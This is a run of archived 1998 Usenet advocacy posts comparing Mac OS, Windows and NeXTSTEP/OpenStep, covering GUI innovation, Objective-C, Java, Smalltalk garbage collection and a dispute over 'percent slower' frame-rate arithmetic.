>happen to his computer (of course this is *GUARENTEED* to happen to any
>computer you buy, pc or mac. Computers advance so quickly eventually ANY
>computer will be obsolete)
I've always hated that argument, because the VCR is nothing like the
computer.
First, what if beta players had been able to read VHS tapes and beta
tapes? Would that have made a difference?
Second, the whole point of video is selection. People rarely go out for
just an action movie, they want *an* action movie. A particular title.
Software doesn't work that way. Most people just want any word processor,
any email package, etc. The average person will stick with a handful of
programs and never switch. Selection isn't as important to the computer
world.
With video, major titles were not being released on beta. With the Mac,
the vast majority of major titles are. The rest is pretty meaningless.
--
Adam Bailey | Chicago, Illinois
-=-=-=-=-=-=-=-=-| "Do not take life too seriously;
adamb@tezcat.com | you will never get out of it alive."
adamkb@aol.com | - Elbert Hubbard
Finger for PGP | http://www.tezcat.com/~adamb/
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 16:37:36 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p7jig.jlt.sal@panix3.panix.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6mo6mo$4nm$1@camel15.mindspring.com> <6mnq09$3vn$1@ns3.vrx.net> <6muv02$49a$1@nnrp1.dejanews.com>
On Fri, 26 Jun 1998 01:54:10 GMT, syann@en.com <syann@en.com> wrote:
>we havn't seen a gui innovation for 10 years from apple. Who cares about what
>was done first! What are they doing now? Anyone name me one GUI inovation put
>to code by apple in the last decade!?!?!
The chages from System 6 to System 7 were pretty major. Since then I've only
noticed cosmetic changes. But then again, I don't use MacOS all that much.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: 26 Jun 1998 16:39:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p7jlt.jlt.sal@panix3.panix.com>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se> <Ev3tpn.4Lv@AWT.NL> <3592D021.3D42C907@nstar.net>
On Thu, 25 Jun 1998 17:33:05 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Gerben Wierda wrote:
>> Too bad they did not keep to the until-then normal way of describing things.
>> The client connects to a server.
>That's exactly the way X does it. The client connects to an X display
>server. The X server does display; that's its service.
I am reminded of this quote:
The X server has to be the biggest program I've ever seen that doesn't
do anything for you. --Ken Thompson
--
sal@panix.com
Salvatore Denaro
From: dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 18:57:01 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1db774w.tkpequ8fkbzcN@hoorn16.multiweb.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <1998062315272600.LAA03159@ladder03.news.aol.com> <1db554b.esf57p14fyhc2N@rhrz-isdn3-p7.rhrz.uni-bonn.de> <1998062420335100.QAA22169@ladder03.news.aol.com> <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
WillAdams <willadams@aol.com> wrote:
> I said:
> >> because it's easy to identify what's running (icon on screen) with
> >> what's not (icon not on screen, or icon has ellipsis).
>
> -Forrest Cameranesi replied:
> >Similar on MacOS (icon's in the menu bar).
>
> A _single_ icon is on the menu bar, and that, a hideously deformed and
> shrunken one. Every application which I am running on my NeXT has an icon
> which is visible on the screen, _without_ my having to make a trip to the
> upper right-hand corner to click on the process menu.
I thought Apple is plannig a tear off menu structure, if you can't wait
for it to work systemwide and would prefer some handy inconsistency use
a free/shareware util.
> The Mac is consistent? How does one change the time? What, I don't click
> on the time which is displayed in my menu bar? But everything else in the
> menu bar which I click on results in a menu?!? Why doesn't the clock? What
> does the Apple menu have to do with the time?
Yes Apple should have made it available via the contextual pop up menu.
That would be very logical and very contextual.
> How do I eject a floppy?
If your hands are at the keyboard:
-type one or two letters to select the named floppy(or use tab to cycle)
-press Command and 'E'(As in Eject, smart hey? took them ten years to
come up with that one:-)
Or by mouse:
-select the floppy
-choose Eject from the contextual menu.
> What!?! I drag it into the TRASH!?! But that erases
> files? Why doesn't it erase disks?
Oh, I forgot about that one:-)
(Or Think Different: files are not realy erased just removed from the
the system (DB), or you can place your drive above a trashcan and it all
makes sense;-)
What bugs me however is the fact that Mac OS tells me that I can't eject
the disk because it has items that are in use, but doesn't give a
solution. I want something like:
Zip disk 501
can't be ejacted because the folowing items are in use:
[a list window]
Do you wish the close all items and eject?
[Cancel] [OK]
Dennis SCP
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 17:16:18 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6n0l12$jbg$2@supernews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6n0ame$i33$1@supernews.com>
<6mvtlc$hnm$4@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
Maury Markowitz may or may not have said:
-> In <6n0ame$i33$1@supernews.com> John C. Randolph claimed:
-> > A good C programmer can learn Objective-C in about three days. Five
days
-> if
-> > you want to go all the way and become an Obj-C Language Lawyer.
->
-> Before this job I had never written a line of C, nor had I programmed in
a
-> "traditional" language in about 5 years (did some HC, and some SQL). I
-> picked up the entire system including the language and libraries in 5
days.
That being the case, you probably should still sit down with a copy of K&R
and learn C inside-out. C has some real subtleties that still come in handy
when you're writing in Obj-C.
-> That is, five days after first sitting down I was completing _real_
-> applications.
When the logic is pretty straightforward, and it all comes down to "if "
statements, ivar assignments and method calls, this can happen.
-> I pretty much refuse to believe any other system out there can
-> offer this low level of first step into the system.
Well, Smalltalk's pretty good, too.
-jcr
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 17:07:52 GMT
Organization: Indiana University, Bloomington
Message-ID: <6n0kh8$bu8$1@jetsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mnq09$3vn$1@ns3.vrx.net> <6muv02$49a$1@nnrp1.dejanews.com> <6mvtcj$hnm$2@ns3.vrx.net>
In article <6mvtcj$hnm$2@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6muv02$49a$1@nnrp1.dejanews.com> syann@en.com claimed:
>> we havn't seen a gui innovation for 10 years from apple.
>
> I don't believe that's true in the least. I think the issue is that they
>made a HUGE step at the beginning and now everything looks small. At the
>same time no one argues that Win3.1 to 95 was a huge step forward, yet if you
>look at that from the Mac side it's a decade late. Time and place. Now we
>have '98 and in general people are writing it off.
That's true of lots of things. Like command-line interfaces, for instance.
What great advances have been made in command-line interfaces in the past
twenty years? Or automobiles, they're slowly getting better gas mileage,
but what revolution has appeared in automobiles since the 1950's or so? Or
fasteners. Some might argue that Torxx was a great step forward, but I
don't think much exciting has happened in that field since standardization.
Apple's GUI is undoubtedly better now than it was ten years ago. But that
is evolutionary rather than revolutionary, and borrows a bit from other
GUI that have come up since then.
--
"Don't just do something, stand there!" - Buddha
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 12:14:27 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3593D6F3.871ED245@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net>
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NNTP-Posting-Date: 26 Jun 1998 17:19:34 GMT
Steve Kellener wrote:
>
> tomlinson wrote:
> >
> > Steve Kellener (skellener@earthlink.net) wrote:
> >
> > : Ahh, then you can use the CLI. Have you ever tried NeXTSTEP?
> >
> > Rhapsody DR2 only, as well as a few hours' use on an old NeXT
> > cube in the Jorgenson Lab at 'Tech. My opinion stands: the
> > NeXT GUI may take a good screen shot but it unnecessarily
> > ornamented.
>
> So you really HAVEN'T used NEXTSTEP. There's your first problem. Try
> using it for a month steadily.
I don't think that's the problem. I used NEXTSTEP for a month steadily
and I didn't like it. What's more, when Ernest has commented on what he
doesn't like about it, he shows a knowledge of the system that surpasses
mine. His comments are almost always consistent with my experience on
NEXTSTEP. I don't think you can generally fault his comments for lack of
experience, or insight, at the very least.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: Fri, 26 Jun 1998 12:24:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3593D93A.AAEB6731@nstar.net>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com> <3592D709.DB3A7046@nstar.net> <slrn6p7k8f.jlt.sal@panix3.panix.com>
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NNTP-Posting-Date: 26 Jun 1998 17:29:16 GMT
Salvatore Denaro wrote:
> >History, history: the SE series had a Nubus
> >expansion slot that allowed Radius full-page displays to be used. This
> >was one of the configurations that made desktop publishing so popular on
> >the Macintosh.
>
> I don't think it was NuBus, in fact I am pretty sure it wasn't.
It wasn't NuBus.
> And I don't
> think that Apple is going to sell many iMac to the DTP crowd.
That wasn't quite the point...
> Do they even
> use monitors less than 17" in size anymore? And they tend to have racks of
> disks, many scanners and tons of other gadgets on thier machines. The iMac
> is not for DTP or video or any other professional content creation work.
Check the title of this thread.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Fri, 26 Jun 1998 12:22:42 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3593D8E2.5B28C42C@nstar.net>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se> <Ev3tpn.4Lv@AWT.NL> <3592D021.3D42C907@nstar.net> <slrn6p7jlt.jlt.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 26 Jun 1998 17:27:48 GMT
Salvatore Denaro wrote:
> I am reminded of this quote:
>
> The X server has to be the biggest program I've ever seen that doesn't
> do anything for you. --Ken Thompson
Huh. This quote sprang to mind:
Just caught the graphics & imagining session and there's big
news...NXHosting is dead.
-- Bruce Hoult
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 25 Jun 1998 13:08:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6muan0$pi3@nntp02.primenet.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com>
<slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mtigq$lq5$1@ns3.vrx.net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: Yet although the better SmallTalk's have had this for many years now, it
: failed to get into the mainstream. Now we have Java, likely inferior in
: every way to those same languages, yet it will almost certainly be a
: commercial success.
SmallTalk is cool, but for a very long time there was no way to deliver a
program without delivering an environment snapshot. That alone prevented
wide use.
: Why? Because developers want it for some other reason. They aren't going
: Java because of garbage collection or better code, they're going to it
: because it's "cool". Marketting seems to have as great an effect on
: developers as anyone else.
You can trot out the "java hype" horse, if you like, but the fundimental
reason Java claimed territory is that it worked in a browser and allowed
distribution of active content before anyone else did. Maybe you don't
remember how "cool" that was.
I'm sure better solutions for thin-client, client-server, environments are
possible, but I don't think those older technologies really did any better
in this problem domain.
John
From: scholl@xena.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 26 Jun 1998 13:23:08 -0400
Organization: University at Buffalo
Message-ID: <6n0lds$6e4$1@xena.acsu.buffalo.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard.898797810@blue.weeg.uiowa.edu> <joe.ragosta-2506981458100001@wil45.dol.net> <6muidd$mul$1@hercules.acsu.buffalo.edu> <joe.ragosta-2506981948340001@elk82.dol.net> <6mv6ao$sps$1@xena.acsu.buffalo.edu> <joe.ragosta-2606980636130001@elk31.dol.net>
NNTP-Posting-User: scholl
Joe Ragosta (joe.ragosta@dol.net) wrote:
: scholl@xena.acsu.buffalo.edu (Edward P Scholl) wrote:
: > i would disagree with chuck here... obviously 300% of 20 is 3 x 20,
: > hence 60. however, would everyone agree 300% _faster_ than 20 is
: > 20 + 300% of 20 and hence 80? this is because 100% _more_ of
: > something would be 2x the original. unless you think 100% faster than
: > 20fps is 20fps? so 100% faster than 20fps wouldbe 20fps + 100% of 20
: > = 20fps+fps. with me so far? same goes for 300% (replace 100% w/
: > 300% of course)
: OK. So 300% of 20 fps is 60 fps.
: So, 300% _faster_ is 80 fps.
: And 300% slower than 20 fps is negative 40 fps.
NO!
: > >>If it's 300% slower, that means it's 60 fps slower than 20, which is
: > >>negative 40 fps.
: > >Nope. 300% slower means that it runs at one-third the speed:
: >
: > this is where you are wrong joe. when you are dealing with percentages
: > of fps, once you get to 100% slower, which is 0fps, you can't get any
: > slower. i don't care what you multiply or divide it by, you're not
: That's not true at all. You're right about 100 fps slower. Using Chuck's
: formula, 100% slower than 20 fps would be 20 fps (which is clearly a
: nonsense answer). Using your formula, 100% slower than 20 fps would be
: zero. You are correct.
: Your mistake is in assuming you can't go more than 100% below something.
: In "real life", that would be true. But there's no mathematical reason why
: you can't calculate it. Under your scheme, 100% slower, 200% slower, 300%
: slower, and so on would all be the same answer--zero. That is incorrect.
okay, let's modify the statement i made below...
: > gonna get a negative number. i suppose if you wanna get silly, you
: > could (sort of) argue that fps is a scalar and take you 300% and
: > subtract it from the original value to get a negative value, in which
: > case you would be running at 40fps backwards, but that's _really_ silly.
(oops- i meant a vector, not a scalar- as a scalar has no direction)
: It's not silly. It's a mathematical process. It's correct, it's just that
: the answer (negative 40 fps) is meaningless in real life--which is exactly
: why I objected to the original poster who claimed that the ATI card was
: 300% slower than something.
anyways, lets take a real life vector quantity- velocity (not to be confused
with the scalar speed). with vectors, if you 20mph for example, and -20mph,
they wouls have the same magnitude (speed- 20 mph), but would be going in
opposite directions). now, to begin with, i would argue that measuring fps
you would assume it to be scalar, and the rest of this would be irrelevant,
but we'll ignore that for now. we'll assume that fps is a vector, like
velocity, and we'll use your math for it. say i'm going 60mph. by your
definition, if someone is going 300% slower, it would be -120mph, or
120mph in the opposite direction. but even if they are going in the
opposite direction, they are still going _faster_ ("faster" refering to
the magnitude of something, is automatically a scalar, therfore, doesn't
care about direction).
so, i would still argue you can not be more than 100% less or slower
than something, even mathematically, because once you start measuring the
quantity of something, you are dealing with a scalar, so direction no
longer matters. so, once you get to 200%+ "less" than something, you
end up with more of it.
as an exercise, on my hp48, 20 - 300% is equal to 0.
as a side note, i'm amused no one has caught chuck's math mistake (i.e.
20/3 is most definately not equal to 8.3).
-ed
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 25 Jun 1998 13:14:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mub28$pr9@nntp02.primenet.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com>
<slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
mbkennel yahoo.com <replacethiswith'@'> wrote:
: Let's take Java for instance. It is the first mainstream application
: programming language with garbage collection. A "CS" research discovery
: invented three decades ago. That's really shameful in my mind.
People say that on one hand and they say Java is too slow on the other.
Carbage collection is a heavy task ... I remember people doing SmallTalk
on PCs having to stop and wait for the garbage collection to finish. That
isn't something the average user was going to put up with.
John
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 25 Jun 1998 19:23:25 GMT
Organization: Indiana University, Bloomington
Message-ID: <6mu83d$5t3$1@jetsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mt5uv$ed3$1@leonie.object-factory.com> <slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mtigq$lq5$1@ns3.vrx.net>
In article <6mtigq$lq5$1@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel
>claimed:
>> Let's take Java for instance. It is the first mainstream application
>> programming language with garbage collection. A "CS" research discovery
>> invented three decades ago. That's really shameful in my mind.
>
> Yet although the better SmallTalk's have had this for many years now, it
>failed to get into the mainstream. Now we have Java, likely inferior in
>every way to those same languages, yet it will almost certainly be a
>commercial success.
A lot of people seem to like SmallTalk. Maybe I will like it. Right now
I'm mostly interested in hobby-level console programming. Right now I'm
working on something of a text adventure game creation program in C++, and
learning to appreciate OOP. I'm sort of holding off on MacOS-specific
programming both because I'm not interested in that kind of project right
now, and because I'm sort of waiting until I can get into the
Rhapsody/MacOSX/Frankenstein environment.
Can you describe SmallTalk and what makes it good, and contrast it with
C++? Specifically the way it handles things like classes, templates, and
inheritance. How is it with string manipulation? Is there a cheap
SmallTalk environment available for the Mac? And would that SmallTalk
allow access to the ToolBox if I decide I want it?
--
"Don't just do something, stand there!" - Buddha
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062617441800.NAA16136@ladder01.news.aol.com>
Date: 26 Jun 1998 17:44:18 GMT
Organization: AOL http://www.aol.com
References: <1db8cbi.61ws6gk20q2cN@quern.demon.co.uk>
Jonathan Sanderson said:
>...it (the NeXT UI)'s still application-centric, which IMHO
>is not the way forward.
The NeXT UI in some aspects transcends documents--the drag and drop
implementation and services helps a great deal here.
However, having used PenPoint, HP's NewWave and the Newton OS, each of which
was document-centered, I will agree that this is a very good model for an
interface and that it is unfortunate that such ideas seem to have largely
fallen by the wayside
(though they do reappear from time-to-time, Millenium's Notebook.app on the
NeXT for example, and to a lesser extent the Windows program YeahWrite
<www.yeahwrite.com> I believe)
>So please, let's not get hung up on 'my UI is better than yours' - if
>you ask me, they're all flawed!
I've never stated that the NeXT UI is perfect, simply that it's a lot better
than anything else I've used (though NewWave was close--just held back by the
underlying Windows architecture :;sigh::). All of my discussion here is aimed
at improving things.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 17:43:46 GMT
Organization: Indiana University, Bloomington
Message-ID: <6n0mki$sgm$1@flotsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com>
In article <6n08oi$rrs$1@nnrp1.dejanews.com>, <boracay@hotmail.com> wrote:
>In article <359011E4.C8A51B95@cisco.com>,
>I took a look at this and you know they have the basic concept right, but then
>they aren't going about it quite right. For example read this from the
>introductory docs on the page above:
>
>"Some developers have the notion that Objective-C is difficult. They are
>mistaken. You shouldn’t dread the thought of learning Objective-C. It is a
>simple and elegant language. A typical developer, especially one experienced
>in C++, should need no more than a day or two to learn Objective-C."
>
>It sounds to me like yet another assistant to traditional programming. C'mon
>Apple, you can do it, you can do better than traditional... I know you have
>it, I am routing for you to save us all from lives of back breaking
>programming labor
This seems like it's very important to you. Why don't you work on it
yourself? Figure out what the new programming model should be, then do it,
even as a skeletal demonstration project.
--
"Don't just do something, stand there!" - Buddha
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 17:45:57 GMT
Organization: Indiana University, Bloomington
Message-ID: <6n0mol$sh2$1@flotsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
In article <6mvtgs$hnm$3@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> You are clearly confusing OpenStep with Obj-C. Obj-C is NOT the key to
>OpenStep, as the current move to Java clearly demonstrates. The key to
>OpenStep is a rich, useful, powerful, deep, fast, forward thinking, well
>designed class library that the OS itself runs. OpenStep programming is NOT
>like MFC or PP, it's simply different. It's also better.
Better than PowerPlant? I've had people tell me they're many times happier
and more productive with PowerPlant than working directly with the MacOS
toolbox. How is OpenStep better than that?
--
"Don't just do something, stand there!" - Buddha
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Message-ID: <1998062617481800.NAA16569@ladder01.news.aol.com>
Date: 26 Jun 1998 17:48:18 GMT
Organization: AOL http://www.aol.com
References: <slrn6p7kds.jlt.sal@panix3.panix.com>
One final consideration here--let's not forget that the original Mac shipped
with 128KB of RAM, and that QuickDraw and a lot of the system was
hand-compiled?!? Pascal.
The original Puzzle desk accessory almost didn't make it because it was too
large at 3KB or so, so Andy Hertzfeld (or was it Burrell? No, he was the
hardware guy) re-coded it over a weekend in assembly language--800bytes or so.
I don't think that the overhead of OOP would've been an option at the price
point Jobs was trying for (even if they had cut the margins down from 40%?!?).
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 12:47:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n059g$ncm$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6n0ame$i33$1@supernews.com>
<6mvtlc$hnm$4@ns3.vrx.net> <6n0l12$jbg$2@supernews.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6n0l12$jbg$2@supernews.com> John C. Randolph claimed:
> That being the case, you probably should still sit down with a copy of K&R
> and learn C inside-out. C has some real subtleties that still come in
handy
> when you're writing in Obj-C.
I continue to learn today - don't get me wrong I don't profess to be any
kind of expert.
But to contrast it with other systems like MacOS, under MacOS you have to
learn the language, then the platform, then the objects. In all three cases
the help offered is very minimal - PP is most simple wrapper classes for the
MacOS's braindead functionality. On OpenStep even a *tiny* bit of knowledge
can result in *massive* amounts of functionality. This, I believe, is
because of the "level" of the object which encapsulate huge amounts of
functionality behind a seemingly thin interface.
> When the logic is pretty straightforward, and it all comes down to "if "
> statements, ivar assignments and method calls, this can happen.
On my fifth day the application in question could draw, print, handle
various tools loaded from containers on the disk, cut and paste, save and
load, handle drag-n-drop, full text editing including international
languages, fonts, color etc., and support rich color. This isn't
straightforward, not a case of simply assignments. This is rich
functionality in a "real" application.
> Well, Smalltalk's pretty good, too.
Absolutely.
Maury
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 19:03:43 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6n0raf$6hl$1@supernews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
Maury Markowitz may or may not have said:
[snip]
-> You are clearly confusing OpenStep with Obj-C. Obj-C is NOT the key to
-> OpenStep, as the current move to Java clearly demonstrates.
Maury, don't make this mistake. Sure, you can use Java to program with
OpenStep, but you'll be crippling yourself. Why take the performance hit?
For Portability? (Hint: Java isn't portable. MicroSquish set out to
scuttle it, and they've suceeded.) For ease of use? (Objective-C has a
much shorter learning curve.)
-> The key to OpenStep is a rich, useful, powerful, deep, fast, forward
-> thinking, well designed class library that the OS itself runs. OpenStep
-> programming is NOT like MFC or PP, it's simply different. It's also
-> better.
So it is. And to use it optimally, use with the language it was written in.
-jcr
From: tim@jump.net (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Wed, 24 Jun 1998 17:02:22 -0500
Organization: none
Message-ID: <tim-2406981702230001@207.8.127.165>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com> <slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mub28$pr9@nntp02.primenet.com>
In article <6mub28$pr9@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Carbage collection is a heavy task ... I remember people doing SmallTalk
> on PCs having to stop and wait for the garbage collection to finish. That
> isn't something the average user was going to put up with.
Garbage collection can actually be faster than equivalent code that
explicitly allocates and frees memory a lot, and most Smalltalk systems
have modern generational garbage collectors that greatly reduce overhead.
For example, in Squeak I rarely see a full garbage collection (maybe twice
a day, and that takes less than a second), and incremental collections
only take a couple of milliseconds. It's good enough that realtime music
synthesis & playback of multiple voices is one of Squeak's features.
-- Tim Olson
From: Roberto Pavan <rpavan@physics.ubc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 26 Jun 1998 20:25:34 +0200
Organization: University of Heidelberg, Germany
Message-ID: <3593E79E.84847BC0@physics.ubc.ca>
References: <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU> <6m5rgp$9lu$19@news-2.news.gte.net> <35c69111.43525890@news.supernews.com> <6m93ol$oq2$1@news-1.news.gte.net>
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Roger wrote:
> On Tue, 16 Jun 1998 15:40:59 GMT, someone claiming to be T. Max Devlin
> wrote:
